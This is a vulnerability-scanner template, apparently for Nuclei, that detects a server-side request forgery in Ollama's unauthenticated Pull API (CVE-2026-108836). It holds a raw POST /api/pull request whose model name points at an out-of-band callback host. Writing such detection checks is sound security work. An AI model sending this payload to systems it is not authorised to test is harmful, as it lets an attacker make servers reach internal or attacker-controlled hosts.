id: CVE-2026-108836

info:
  name: "Ollama - Pull API Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Ollama up to and including 0.34.1 fails to properly validate model names in the IsValid function of
    types/model/name.go, which backs the unauthenticated Pull API. The host component of a crafted model
    name is used as the registry endpoint without restriction, so a request to POST /api/pull with a
    model name whose host points at an attacker-controlled or internal address causes the Ollama server
    to issue a request to that host (server-side request forgery). This template sends a safe pull
    request whose model host is an out-of-band collaborator domain and detects the resulting interaction.
    Fixed in 0.34.2.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-108836&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ollama&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2026-108836
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,ollama,ssrf,oast

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"{{interactsh-url}}/library/alpine","insecure":true,"stream":false}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"